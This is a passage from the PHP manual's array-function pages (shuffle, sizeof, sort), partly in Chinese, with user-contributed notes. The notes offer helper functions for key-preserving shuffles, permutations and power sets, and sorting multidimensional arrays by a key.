    // Merge the suits into the empty deck array
    $deck = array_merge($deck, $suits);

    // Display the deck to the screen
    echo "<p><b>Deck of cards:</b></p>";
    foreach($deck as $k1 => $v1)
    {
        // Display suit name
        echo "<p>&emsp;$k1's<br />&emsp;{<br />&emsp;&emsp;";
        $acc = 0;

        // Display card value
        foreach($v1 as $k2 => $v2)
        {
            echo "$v2&nbsp";
            $acc++;

            if ($acc == 4)
            {
                echo "<br />&emsp;&emsp;";
                $acc = 0;
            }
        }
        echo "<br />&emsp;}</p>";
    }
?>
andjones at gmail dot com 26-Aug-2010 09:35
Shuffle associative and non-associative array while preserving key, value pairs. Also returns the shuffled array instead of shuffling it in place.

<?php

function shuffle_assoc($list) {
  if (!is_array($list)) return $list;

  $keys = array_keys($list);
  shuffle($keys);
  $random = array();
  foreach ($keys as $key)
    $random[$key] = $list[$key];

  return $random;
}

?>
ezakto at ezakto dot com 24-Jul-2010 11:13
This is a replica of shuffle() but preserving keys (associative and non-associative)

bool kshuffle  (  array &$array  )

<?php

function kshuffle(&$array) {
    if(!is_array($array) || empty($array)) {
        return false;
    }
    $tmp = array();
    foreach($array as $key => $value) {
        $tmp[] = array('k' => $key, 'v' => $value);
    }
    shuffle($tmp);
    $array = array();
    foreach($tmp as $entry) {
        $array[$entry['k']] = $entry['v'];
    }
    return true;
}

$array = array('first' => 0, 'second' => 1, 'third' => 2);
kshuffle($array);
print_r($array); // [second] => 1 [first] => 0 [third] => 2

$array = array('first', 'second', 'third');
kshuffle($array);
print_r($array); // [1] => second [2] => third [0] => first

?>
m0gr14 at gmail dot com 04-Jul-2010 10:39
This function shuffles an associative array recursive.

<?php

/**
* Shuffles an associative array recursive
* @author Mogria <m0gr14@gmail.com>
* @param array $array
* @return array
*
*/

function rec_assoc_shuffle($array)
{
  $ary_keys = array_keys($array);
  $ary_values = array_values($array);
  shuffle($ary_values);
  foreach($ary_keys as $key => $value) {
    if (is_array($ary_values[$key]) AND $ary_values[$key] != NULL) {
      $ary_values[$key] = rec_assoc_shuffle($ary_values[$key]);
    }
    $new[$value] = $ary_values[$key];
  }
  return $new;
}

?>

Example of use:
<?php
$array =
    Array(
        1,
        Array(
            1,
            2,
            3,
            4,
            Array(
                1,
                2,
                3,
                4,
                5
            )
        ),
        2,
        3,
        Array(
            0,
            1,
                Array(
                    1,
                    2,
                    3,
                    4,
                        Array(
                            1,
                            6,
                            5,
                            2,
                            1,
                            3
                        )
                )
        ),
        4,
        5,
        6,
        7
    );
$array = rec_assoc_shuffle($array);
echo '<pre>';
print_r($array);
echo '</pre>';

/*
Returns:
Array
(
    [0] => 6
    [1] => 5
    [2] => Array
        (
            [0] => 1
            [1] => 3
            [2] => Array
                (
                    [0] => 3
                    [1] => 1
                    [2] => 2
                    [3] => 4
                    [4] => 5
                )

            [3] => 2
            [4] => 4
        )

    [3] => 3
    [4] => Array
        (
            [0] => Array
                (
                    [0] => 3
                    [1] => 1
                    [2] => 4
                    [3] => Array
                        (
                            [0] => 5
                            [1] => 1
                            [2] => 3
                            [3] => 6
                            [4] => 1
                            [5] => 2
                        )

                    [4] => 2
                )

            [1] => 1
            [2] => 0
        )

    [5] => 2
    [6] => 1
    [7] => 4
    [8] => 7
)

*/

?>
rick at suggestive dot com 24-Mar-2010 02:19
Many people in SEO need to supply an array and shuffle the results and need the same result each time that page is generated. This is my implementation with a working example:

<?php
function seoShuffle(&$items,$string) {
    mt_srand(strlen($string));
    for ($i = count($items) - 1; $i > 0; $i--){
        $j = @mt_rand(0, $i);
        $tmp = $items[$i];
        $items[$i] = $items[$j];
        $items[$j] = $tmp;
    }
}

$items = array('one','two','three','four','five','six');
$string = 'whatever';

echo '<pre>';
print_r($items);
echo '</pre>';

seoShuffle($items,$string);

echo '<pre>';
print_r($items);
echo '</pre>';
?>
tyler at CompLangs dot com 01-Jan-2010 06:59
Here is a quick function I wrote that generates a random password and uses shuffle() to easily shuffle the order.

<?php
public function randPass($upper = 3, $lower = 3, $numeric = 3, $other = 2) {
    //we need these vars to create a password string
    $passOrder = Array();
    $passWord = '';

    //generate the contents of the password
    for ($i = 0; $i < $upper; $i++) {
        $passOrder[] = chr(rand(65, 90));
    }
    for ($i = 0; $i < $lower; $i++) {
        $passOrder[] = chr(rand(97, 122));
    }
    for ($i = 0; $i < $numeric; $i++) {
        $passOrder[] = chr(rand(48, 57));
    }
    for ($i = 0; $i < $other; $i++) {
        $passOrder[] = chr(rand(33, 47));
    }

    //randomize the order of characters
    shuffle($passOrder);

    //concatenate into a string
    foreach ($passOrder as $char) {
        $passWord .= $char;
    }

    //we're done
    return $passWord;
}
?>
ahmad at ahmadnassri dot com 18-Nov-2009 08:58
shuffle for associative arrays, preserves key=>value pairs.
(Based on (Vladimir Kornea of typetango.com)'s function)

<?php
    function shuffle_assoc(&$array) {
        $keys = array_keys($array);

        shuffle($keys);

        foreach($keys as $key) {
            $new[$key] = $array[$key];
        }

        $array = $new;

        return true;
    }
?>

*note: as of PHP 5.2.10, array_rand's resulting array of keys is no longer shuffled, so we use array_keys + shuffle.
Anonymous 28-Aug-2009 09:18
I needed a simple function two shuffle a two dimensional array. Please note the second level arrays must be indexed using integers, for example $myarray[0]["Name"] and not $myarray["One"]["Name"]. Here is the function:

<?php
function twodshuffle($array)
{
    // Get array length
    $count = count($array);
    // Create a range of indicies
    $indi = range(0,$count-1);
    // Randomize indicies array
    shuffle($indi);
    // Initialize new array
    $newarray = array($count);
    // Holds current index
    $i = 0;
    // Shuffle multidimensional array
    foreach ($indi as $index)
    {
        $newarray[$i] = $array[$index];
        $i++;
    }
    return $newarray;
}
?>

Please note it only works on two dimensional arrays. Here is an example:

<?php
$myarray = array("Google" => array("Name" => "Google", "URL" => "www.google.com", "Usage" => "Googling"), "Yahoo" => array("Name" => "Yahoo", "URL" => "www.yahoo.com", "Usage" => "Yahooing?"), "Ask" => array("Name" => "Ask", "URL" => "www.ask.com", "Usage" => "Asking Jeeves"));

print_r(twodshuffle($myarray));

/* And the result is:
Array ( [0] => Array ( [Name] => Ask [URL] => www.ask.com [Usage] => Asking Jeeves ) [1] => Array ( [Name] => Google [URL] => www.google.com [Usage] => Googling ) [2] => Array ( [Name] => Yahoo [URL] => www.yahoo.com [Usage] => Yahooing? ) )
*/
?>

Hope you find it useful!
aalaap at gmail dot com 08-Jun-2009 05:12
I've been wondering why shuffle() doesn't provide the shuffled array as a return value instead of a bool. I mean, what could possibly go wrong in shuffling elements from an array?

So I use something like this:

<?php
function array_shuffle($array) {
    if (shuffle($array)) {
        return $array;
    } else {
        return FALSE;
    }
}
?>
sivaji2009 at gmail dot com 17-May-2009 02:07
Here i wrote a custom shuffle function which preserves the array index and distributes the array element randomly.

<?php

/*
 * return an array whose elements are shuffled in random order.
 */
function custom_shuffle($my_array = array()) {
  $copy = array();
  while (count($my_array)) {
    // takes a rand array elements by its key
    $element = array_rand($my_array);
    // assign the array and its value to an another array
    $copy[$element] = $my_array[$element];
    //delete the element from source array
    unset($my_array[$element]);
  }
  return $copy;
}

$array = array(
  'a' => 'apple',
  'b' => 'ball',
  'c' => 'cat',
  'd' => 'dog',
  'e' => 'egg',
  'f' => 'fan',
  'g' => 'gun'
);

print_r(custom_shuffle($array));

Array
(
    [c] => cat
    [e] => egg
    [f] => fan
    [a] => apple
    [b] => ball
    [g] => gun
    [d] => dog
)

?>
dirk dot avery a t gmail 30-Apr-2009 08:58
Building on examples by m227 and pineappleclock, here is a function that returns all permutations of each set in the power set of an array of strings (instead of a string).  Thanks for the great examples!

<?php

/*
 Use: $arr = power_perms($in);

 Example:
  $in = array("A","B","C");
  $power_perms = power_perms($in);

 Returns:
  Array
  (
    [0] => Array
        (
            [0] => A
            [1] => B
            [2] => C
        )

    [1] => Array
        (
            [0] => A
            [1] => C
            [2] => B
        )

    [2] => Array
        (
            [0] => B
            [1] => A
            [2] => C
        )

    [3] => Array
        (
            [0] => B
            [1] => C
            [2] => A
        )

    [4] => Array
        (
            [0] => C
            [1] => A
            [2] => B
        )

    [5] => Array
        (
            [0] => C
            [1] => B
            [2] => A
        )

    [6] => Array
        (
            [0] => A
            [1] => B
        )

    [7] => Array
        (
            [0] => B
            [1] => A
        )

    [8] => Array
        (
            [0] => B
            [1] => C
        )

    [9] => Array
        (
            [0] => C
            [1] => B
        )

    [10] => Array
        (
            [0] => A
            [1] => C
        )

    [11] => Array
        (
            [0] => C
            [1] => A
        )

    [12] => Array
        (
            [0] => A
        )

    [13] => Array
        (
            [0] => B
        )

    [14] => Array
        (
            [0] => C
        )

  )

*/

function power_perms($arr) {

    $power_set = power_set($arr);
    $result = array();
    foreach($power_set as $set) {
        $perms = perms($set);
        $result = array_merge($result,$perms);
    }
    return $result;
}

function power_set($in,$minLength = 1) {

   $count = count($in);
   $members = pow(2,$count);
   $return = array();
   for ($i = 0; $i < $members; $i++) {
      $b = sprintf("%0".$count."b",$i);
      $out = array();
      for ($j = 0; $j < $count; $j++) {
         if ($b{$j} == '1') $out[] = $in[$j];
      }
      if (count($out) >= $minLength) {
         $return[] = $out;
      }
   }

   //usort($return,"cmp");  //can sort here by length
   return $return;
}

function factorial($int){
   if($int < 2) {
       return 1;
   }

   for($f = 2; $int-1 > 1; $f *= $int--);

   return $f;
}

function perm($arr, $nth = null) {

    if ($nth === null) {
        return perms($arr);
    }

    $result = array();
    $length = count($arr);

    while ($length--) {
        $f = factorial($length);
        $p = floor($nth / $f);
        $result[] = $arr[$p];
        array_delete_by_key($arr, $p);
        $nth -= $p * $f;
    }

    $result = array_merge($result,$arr);
    return $result;
}

function perms($arr) {
    $p = array();
    for ($i=0; $i < factorial(count($arr)); $i++) {
        $p[] = perm($arr, $i);
    }
    return $p;
}

function array_delete_by_key(&$array, $delete_key, $use_old_keys = FALSE) {

    unset($array[$delete_key]);

    if(!$use_old_keys) {
        $array = array_values($array);
    }

    return TRUE;
}
?>
pineappleclock at gmail dot com 22-Jan-2009 10:06
If you want the Power Set (set of all unique subsets) of an array instead of permutations, you can use this simple algorithm:

<?php
/**
* Returns the power set of a one dimensional array,
* a 2-D array.
* array(a,b,c) ->
* array(array(a),array(b),array(c),array(a,b),array(b,c),array(a,b,c))
*/
function powerSet($in,$minLength = 1) {
   $count = count($in);
   $members = pow(2,$count);
   $return = array();
   for ($i = 0; $i < $members; $i++) {
      $b = sprintf("%0".$count."b",$i);
      $out = array();
      for ($j = 0; $j < $count; $j++) {
         if ($b{$j} == '1') $out[] = $in[$j];
      }
      if (count($out) >= $minLength) {
         $return[] = $out;
      }
   }
   return $return;
}
?>
tony at brokerbin dot com 11-Nov-2008 07:26
Here is IMO the simplest and extremely fast way to shuffle an associative array AND keep the key=>value relationship.  However, it ONLY works if there are NO NUMERIC keys AT ALL.  Look into array_merge for the reason why.

<?php

$unshuffled = array('one'=>1,'two'=>2,'three'=>3);

$shuffled = array_merge( array_flip(array_rand($unshuffled,count($unshuffled))),$unshuffled );

?>

peace
Antonio Ognio 06-May-2008 09:42
Another shuffle() implementation that preserves keys, does not use extra memory and perhaps is a bit easier to grasp.

<?php
if (function_exists('shuffle_with_keys')===false) {
  function shuffle_with_keys(&$array) {
    /* Auxiliary array to hold the new order */
    $aux = array();
    /* We work with an array of the keys */
    $keys = array_keys($array);
    /* We shuffle the keys */
    shuffle($keys);
    /* We iterate thru' the new order of the keys */
    foreach($keys as $key) {
      /* We insert the key, value pair in its new order */
      $aux[$key] = $array[$key];
      /* We remove the element from the old array to save memory */
      unset($array[$key]);
    }
    /* The auxiliary array with the new order overwrites the old variable */
    $array = $aux;
  }
}
?>
07-Jun-2006 02:53
Posted below is code that you would expect to work

<?php

$keys = shuffle(array_keys($arr));

foreach ($keys as $key) {

  $arr_elem = $arr[$key];
  // do what you want with the array element

}

?>

This in fact does not work because shuffle returns a boolean true or false. More accurate code using this method would be:

<?php

$keys = array_keys($arr);
shuffle($keys);

foreach ($keys as $key) {

  $arr_elem = $arr[$key];
  // do what you want with the array element

}

?>
bill at SWScripts dot com 22-Sep-2005 09:45
Just a quick note to let people know that shuffle() will work on multidimensional associative arrays provided that the first key is already numeric.

So this array can be shuffled without losing any of the secondary keys or their values:

$array[0]['color'], $array[0]['size'], $array[0]['fabric']
. . .
$array[50]['color'], $array[50]['size'], $array[50]['fabric']

I recently ran up against needing to randomize this array and tried shuffle even though it's not really for associative arrays.

Hope it helps somebody out there.


count 的别名

  • ? shuffle
  • sort ?
  • PHP Manual
  • 数组 函数
  • count 的别名

sizeof

(PHP 4, PHP 5, PHP 7)

sizeof — count() 的别名

说明

此函数是该函数的别名：count()。

User Contributed Notes

chris at amis dot nl 02-Sep-2013 09:15
I would recommend not using sizeof(). Many programmers expect sizeof() to return the amount of memory allocated. Instead sizeof() -as described above- is an alias for count().

Prevent misinterpretation and use count() instead.
umopdn [at] msn [dawt] com 23-Sep-2008 02:38
a) Always try and use PHP's internal routines to iterate through objects of various types (arrays in most examples below).

Instead of interpreting your code to loop through them, they use their own internal routines which are much faster.

(This is why foreach () will run faster than manual interation)

b) It is _always_ good practice to leave as many static resulting functions outside of loops, having operations that return the exact same piece of data every iteration of the loop is not pretty on resources.

c) I agree with PixEye's remarks on sizeof().  In PHP it is just an alias for the true function count().  It has other meanings logically in other languages rather than the number of elements in an object.  This should be avoided as it may confuse developers transitioning to PHP from other languages.
PixEye 23-Sep-2008 09:09
I am quite surprised about previous posts. Here are my advices:

1/ prefer the count() function instead of sizeOf() as sizeOf() is only an alias of count() and does not mean the same in many other languages based on C (avoid ambiguity).

2/ prefer the powerful forEach() function to iterate over arrays.
communiti.ch 10-Apr-2008 06:55
If your array is "huge"

It is reccomended to set a variable first for this case:

THIS->

$max = sizeof($huge_array);
for($i = 0; $i < $max;$i++)
{
code...
}

IS QUICKER THEN->

for($i = 0; $i < sizeof($huge_array);$i++)
{
code...
}


对数组排序

  • ? sizeof
  • uasort ?
  • PHP Manual
  • 数组 函数
  • 对数组排序

sort

(PHP 4, PHP 5, PHP 7)

sort — 对数组排序

说明

sort ( array &$array [, int $sort_flags = SORT_REGULAR ] ) : bool

本函数对数组进行排序。当本函数结束时数组单元将被从最低到最高重新安排。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

参数

array

要排序的数组。

sort_flags

可选的第二个参数 sort_flags 可以用以下值改变排序的行为：

排序类型标记：

  • SORT_REGULAR - 正常比较单元（不改变类型）
  • SORT_NUMERIC - 单元被作为数字来比较
  • SORT_STRING - 单元被作为字符串来比较
  • SORT_LOCALE_STRING - 根据当前的区域（locale）设置来把单元当作字符串比较，可以用 setlocale() 来改变。
  • SORT_NATURAL - 和 natsort() 类似对每个单元以"自然的顺序"对字符串进行排序。 PHP 5.4.0 中新增的。
  • SORT_FLAG_CASE - 能够与 SORT_STRING 或 SORT_NATURAL 合并（OR 位运算），不区分大小写排序字符串。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

更新日志

版本 | 说明
5.4.0 | 添加了 sort_flags 内 SORT_NATURAL 和 SORT_FLAG_CASE 的支持。
5.0.2 | 添加了 SORT_LOCALE_STRING。

范例

Example #1 sort() 例子

<?php

$fruits = array("lemon", "orange", "banana", "apple");
sort($fruits);
foreach ($fruits as $key => $val) {
    echo "fruits[" . $key . "] = " . $val . "\n";
}

?>

以上例程会输出：

fruits[0] = apple
fruits[1] = banana
fruits[2] = lemon
fruits[3] = orange

fruits 被按照字母顺序排序。

Example #2 使用不区分大小写自然排序的 sort() 例子

<?php

$fruits = array(
    "Orange1", "orange2", "Orange3", "orange20"
);
sort($fruits, SORT_NATURAL | SORT_FLAG_CASE);
foreach ($fruits as $key => $val) {
    echo "fruits[" . $key . "] = " . $val . "\n";
}

?>

以上例程会输出：

fruits[0] = Orange1
fruits[1] = orange2
fruits[2] = Orange3
fruits[3] = orange20

fruits 排序得像 natcasesort() 的结果。

注释

Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名，而不是仅仅将键名重新排序。

Note: 和大多数 PHP 排序函数一样，sort() 使用了 » Quicksort 实现的。 The pivot is chosen in the middle of the partition resulting in an optimal time for already sorted arrays. This is however an implementation detail you shouldn't rely on.

Warning

在对含有混合类型值的数组排序时要小心，因为 sort() 可能会产生不可预知的结果。

参见

  • asort() - 对数组进行排序并保持索引关系
  • 数组排序函数对比

User Contributed Notes

r at rcse dot de 23-Dec-2018 10:15
Here is no word about sorting UTF-8 strings by any collation. This should not be so uncommon?
Abhishek Banerjee 08-Jun-2016 07:39
EDIT: To the original note by "phpdotnet at m4tt dot co dot uk"
Use array_push instead of $new_array[$k] for some reason it was
giving me string indexes.

Simple function to sort an array by a specific key. Maintains index association.

<?php

function array_sort($array, $on, $order=SORT_ASC)
{
    $new_array = array();
    $sortable_array = array();

    if (count($array) > 0) {
        foreach ($array as $k => $v) {
            if (is_array($v)) {
                foreach ($v as $k2 => $v2) {
                    if ($k2 == $on) {
                        $sortable_array[$k] = $v2;
                    }
                }
            } else {
                $sortable_array[$k] = $v;
            }
        }

        switch ($order) {
            case SORT_ASC:
                asort($sortable_array);
            break;
            case SORT_DESC:
                arsort($sortable_array);
            break;
        }

        foreach ($sortable_array as $k => $v) {
            array_push($new_array, $array[$k]);
        }
    }

    return $new_array;
}

$people = array(
    12345 => array(
        'id' => 12345,
        'first_name' => 'Joe',
        'surname' => 'Bloggs',
        'age' => 23,
        'sex' => 'm'
    ),
    12346 => array(
        'id' => 12346,
        'first_name' => 'Adam',
        'surname' => 'Smith',
        'age' => 18,
        'sex' => 'm'
    ),
    12347 => array(
        'id' => 12347,
        'first_name' => 'Amy',
        'surname' => 'Jones',
        'age' => 21,
        'sex' => 'f'
    )
);

print_r(array_sort($people, 'age', SORT_DESC)); // Sort by oldest first
print_r(array_sort($people, 'surname', SORT_ASC)); // Sort by surname

/*
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
*/

?>
totszwai at gail dot com 28-Jan-2016 03:59
For those who wanna go with simple approach without hammering your head too much... This does the job, granted might not be efficient, but is really short. :P

Let $all be a key/value paired array...

$keys = array_keys($all);
sort($keys);
$sorted = array();
foreach($keys as $k) {
       $sorted[$k] = $all[$k];
}
$all = $sorted;
unset($sorted);
aditycse at gmail dot com 07-Aug-2015 10:34
/*
 * Name : Aditya Mehrotra
 * Email: aditycse@gmail.com
 */
//Example for sorting by values for an alphanumeric array also having case-sensitive data
$exampleArray1 = $exampleArray2 = array(
    0 => 'example1',
    1 => 'Example10',
    2 => 'example12',
    3 => 'Example2',
    4 => 'example3',
    5 => 'EXAMPLE10',
    6 => 'example10'
);

//default sorting
asort($exampleArray1);

// alphanumeric with case-sensitive data sorting by values
asort($exampleArray2, SORT_STRING | SORT_FLAG_CASE | SORT_NATURAL);

//output of defaut sorting
print_r($exampleArray1);
/*
 * output of default sorting
  Array
  (
  [5] => EXAMPLE10
  [1] => Example10
  [3] => Example2
  [0] => example1
  [6] => example10
  [2] => example12
  [4] => example3
  )
 */

print_r($exampleArray2);
/*
 * output of alphanumeric with case-sensitive data sorting by values
 Array
(
    [0] => example1
    [3] => Example2
    [4] => example3
    [5] => EXAMPLE10
    [1] => Example10
    [6] => example10
    [2] => example12
)
 */
williamprogphp at[pleaseNOTSPAM] yahoo d 20-Dec-2013 12:15
In order to make some multidimensional quick sort implementation, take advantage of this stuff

<?php
        function quickSortMultiDimensional($array, $chave) {
            if( count( $array ) < 2 ) {
                return $array;
            }
            $left = $right = array( );
            reset( $array );
            $pivot_key    = key( $array );
            $pivot    = array_shift( $array );
            foreach( $array as $k => $v ) {
                if( $v[$chave] < $pivot[$chave] )
                        $left[$k][$chave] = $v[$chave];
                else
                        $right[$k][$chave] = $v[$chave];
            }
            return array_merge(
                                    quickSortMultiDimensional($left, $chave),
                                    array($pivot_key => $pivot),
                                    quickSortMultiDimensional($right, $chave)
            );
        }
?>

I make it using the idea from pageconfig dot com

tks for viewing
me[ at ]szczepan[ dot ]info 27-Dec-2012 12:36
Sorting the keys, but keep the values in order is not possible by just ordering, because it would result in a new array. This is also the solution: Create a new array

<?php
$a = array(9=>"a",8=>"c",5=>"d");

$keys = array_keys($a);
sort($keys);
$result = array_combine($keys, array_values($a));

//Result : array(5=>"a",8=>"c",9=>"d");
?>
Walter Tross 16-Dec-2011 02:38
unless you specify the second argument, "regular" comparisons will be used. I quote from the page on comparison operators:
"If you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically."
What this means is that "10" < "1a", and "1a" < "2", but "10" > "2". In other words, regular PHP string comparisons are not transitive.
This implies that the output of sort() can in rare cases depend on the order of the input array:
<?php
function echo_sorted($a)
{
   echo "{$a[0]} {$a[1]} {$a[2]}";
   sort($a);
   echo " => {$a[0]} {$a[1]} {$a[2]}\n";
}
// on PHP 5.2.6:
echo_sorted(array( "10", "1a", "2")); // => 10 1a 2
echo_sorted(array( "10", "2", "1a")); // => 1a 2 10
echo_sorted(array( "1a", "10", "2")); // => 2 10 1a
echo_sorted(array( "1a", "2", "10")); // => 1a 2 10
echo_sorted(array( "2", "10", "1a")); // => 2 10 1a
echo_sorted(array( "2", "1a", "10")); // => 10 1a 2
?>
ajanata at gmail dot com 20-Oct-2011 09:13
This took me longer than it should have to figure out, but if you want the behavior of sort($array, SORT_STRING) (that is, re-indexing the array unlike natcasesort) in a case-insensitive manner, it is a simple matter of doing usort($array, strcasecmp).
holdoffhunger at gmail dot com 18-Jul-2011 09:14
I have discovered an interesting trick with the sort function.  Many coders are using it to sort options for a user, because a computer will only need sorted data in limited cases.  However, every coder wants their sorted data to be usable.  It's very common to find any sorted data online, and to find options, "Sort by Date," "Sort Alphabetically," etc., etc., whether you're looking at an online catalogue or some bulletin board.

The trick is to use a combination of html commenting and str_pad's to do definitive "sort by" functions.  Let me demonstrate with an example: consider two arrays, Sorted_By_Date and Sorted_By_Name.  You want every element to be "<option value=something>Option Name</option", so that you can do a simple foreach statement that prints every option value.  But, sorting these arrays will technically sort just sort whatever you put into "value".  So, here's a neat trick.  Make every entry "<!-- Sort_Value --><option value=something>Option Name</option."  That way, when you sort, it'll have to sort technically by whatever is the Sort_Value.

The greatness of this trick is that you can make as many "sort this data by X" fields as you want!  Just create multiple arrays, each with the same option values and names, but with a different value put in "Sort_Value", which could be a date, a name, a price, etc..  With numbers, you may need to use the str_pad function, to push all of the zeros out to the left, for a proper sort.  For instance, in my code, that looks like...

<?php

                $number_of_versions_sort_value = str_pad($number_of_versions, 20, "0", STR_PAD_LEFT);

?>
alex dot hristov dot 88 at gmail dot com 16-Jun-2011 07:26
As some people have mentioned before sorting a multidimentional array can be a bit tricky. it took me quite a while to get it going but it works as a charm:

<?php
//$order has to be either asc or desc
 function sortmulti ($array, $index, $order, $natsort=FALSE, $case_sensitive=FALSE) {
        if(is_array($array) && count($array)>0) {
            foreach(array_keys($array) as $key)
            $temp[$key]=$array[$key][$index];
            if(!$natsort) {
                if ($order=='asc')
                    asort($temp);
                else
                    arsort($temp);
            }
            else
            {
                if ($case_sensitive===true)
                    natsort($temp);
                else
                    natcasesort($temp);
            if($order!='asc')
                $temp=array_reverse($temp,TRUE);
            }
            foreach(array_keys($temp) as $key)
                if (is_numeric($key))
                    $sorted[]=$array[$key];
                else
                    $sorted[$key]=$array[$key];
            return $sorted;
        }
    return $sorted;
}
?>
markrose at markrose dot ca 01-Jun-2011 11:54
I've yet to come across a fast way to merge sorted arrays by a user value. Merging the arrays and using PHP's usort isn't efficient, as it doesn't take advantage of the existing sorting. So I wrote my own merge sorted arrays by user value function. The limit parameter can be used be used to limit the number of results (there is no point sorting more results than needed). This sort is stable: values will be taken preferentially from the first, then second, etc., array inside $merge_arrays.

Note that this function will fail if a user value is boolean false. It could be adapted to hold the best value inside an array at some performance penalty. It could also be adapted to comparing strings case-insensitively.

To give you some idea of the performance, my machine will sort out the first 1000 values of 10 sorted arrays of 1000 values each in under 40 ms, using an integer sort field. Not fast by C standards, but a vast improvement over usort'ing 10,000 values.

<?php
function merge_sorted_arrays_by_field ($merge_arrays, $sort_field, $sort_desc = false, $limit = 0)
{
    $array_count = count($merge_arrays);

    // fast special cases...
    switch ($array_count)
    {
        case 0: return array();
        case 1: return $limit ? array_slice(reset($merge_arrays), 0, $limit) : reset($merge_arrays);
    }

    if ($limit === 0)
        $limit = PHP_INT_MAX;

    // rekey merge_arrays array 0->N
    $merge_arrays = array_values($merge_arrays);

    $best_array = false;
    $best_value = false;

    $results = array();

    // move sort order logic outside the inner loop to speed things up
    if ($sort_desc)
    {
        for ($i = 0; $i < $limit; ++$i)
        {
            for ($j = 0; $j < $array_count; ++$j)
            {
                // if the array $merge_arrays[$j] is empty, skip to next
                if (false === ($current_value = current($merge_arrays[$j])))
                    continue;

                // if we don't have a value for this round, or if the current value is bigger...
                if ($best_value === false || $current_value[$sort_field] > $best_value[$sort_field])
                {
                    $best_array = $j;
                    $best_value = $current_value;
                }
            }

            // all arrays empty?
            if ($best_value === false)
                break;

            $results[] = $best_value;
            $best_value = false;
            next($merge_arrays[$best_array]);
        }
    }
    else
    {
        for ($i = 0; $i < $limit; ++$i)
        {
            for ($j = 0; $j < $array_count; ++$j)
            {
                if (false === ($current_value = current($merge_arrays[$j])))
                    continue;

                // if we don't have a value for this round, or if the current value is smaller...
                if ($best_value === false || $current_value[$sort_field] < $best_value[$sort_field])
                {
                    $best_array = $j;
                    $best_value = $current_value;
                }
            }

            // all arrays empty?
            if ($best_value === false)
                break;

            $results[] = $best_value;
            $best_value = false;
            next($merge_arrays[$best_array]);
        }
    }

    return $results;
}
?>
cmarshall at gmx dot de 17-May-2011 03:10
I read up on various problems re: sort() and German Umlaut chars and my head was soon spinning - bug in sort() or not, solution via locale or not, etc. ... (a total newbie here).

The obvious solution for me was quick and dirty: transform the Umlaut chars (present as HTML codes in my case) to their normal equivalent ('?' = 'ae', '?' = 'oe', 'ü' = 'ue', '?' = 'ss' etc.), sort the array, then transform back. However there are cases in which a 'Mueller' is really that and does NOT need to be transformed into 'Müller' afterwards. Hence I for example replace the Umlaut itself with it's normal equivalent plus a char not used in the string otherwise (e.g. '_') so that the transfer back to Umlaut would only take place on certain combinations.

Of course any other char instead of '_' can be used as additional char (influencing the sort result). I know that my solution is rough at the edges and may cause other sort problems but it was sufficient for my purpose.

The array '$dat' in this example was filled with German town names (I actually worked with a multiple array ('$dat[][]') but stripped the code down to this as it's easier to understand):

<?php
// START Pre-sorting (Umlaut -> normal letters)
$max = count($dat);
for($totcnt = 0; $totcnt < $max; $totcnt++){
   $dat[$totcnt]=str_replace('&szlig;','ss_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Auml;','Ae_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&auml;','ae_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Ouml;','Oe_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&ouml;','oe_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Uuml;','Ue_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&uuml;','ue_',$dat[$totcnt]);
}
// END Pre-sorting (Umlaut -> normal letters)

// START Sorting //
function compare_towns($a, $b)
{
return strnatcmp($a, $b);
}
usort($dat, 'compare_towns');
// END Sorting //

// START Post-sorting (normal letters -> Umlaut)
for($totcnt = 0; $totcnt < $max; $totcnt++){
   $dat[$totcnt]=str_replace('ss_','&szlig;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Ae_','&Auml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('ae_','&auml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Oe_','&Ouml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('oe_','&ouml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Ue_','&Uuml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('ue_','&uuml;',$dat[$totcnt]);
}
// END Post-sorting (normal letters -> Umlaut)
?>
anaz114119 at gmail dot com 24-Dec-2010 02:34
sort from textfile by coloumn
example name||date||time||comments
if you want to sort by date
$column = 2
<?php
function array_sort($array,$column){
 $column = $column-1;
 foreach($array as $line){
 $bits = explode("||",$line);
 $bits ="$bits[$column]**$line";
 $array1[]=$bits;
}
 asort($array1);
 foreach($array1 as $line){
 $bit = explode("**",$line);
 $bit ="$bit[1]";
 $array2[]=$bit;
}
 return$array2;
}
?>
poulou_0 at hotmail dot com 21-Dec-2010 12:59
if you are not interested in high or low case sort

<?php
//where
$sortable_array[$k] = $v2;
//put
$sortable_array[$k] = strtolower($v2);

//and where
$sortable_array[$k] = $v;
//put
$sortable_array[$k] = strtolower($v);
?>
phpdotnet at m4tt dot co dot uk 16-Aug-2010 07:03
Simple function to sort an array by a specific key. Maintains index association.

<?php

function array_sort($array, $on, $order=SORT_ASC)
{
    $new_array = array();
    $sortable_array = array();

    if (count($array) > 0) {
        foreach ($array as $k => $v) {
            if (is_array($v)) {
                foreach ($v as $k2 => $v2) {
                    if ($k2 == $on) {
                        $sortable_array[$k] = $v2;
                    }
                }
            } else {
                $sortable_array[$k] = $v;
            }
        }

        switch ($order) {
            case SORT_ASC:
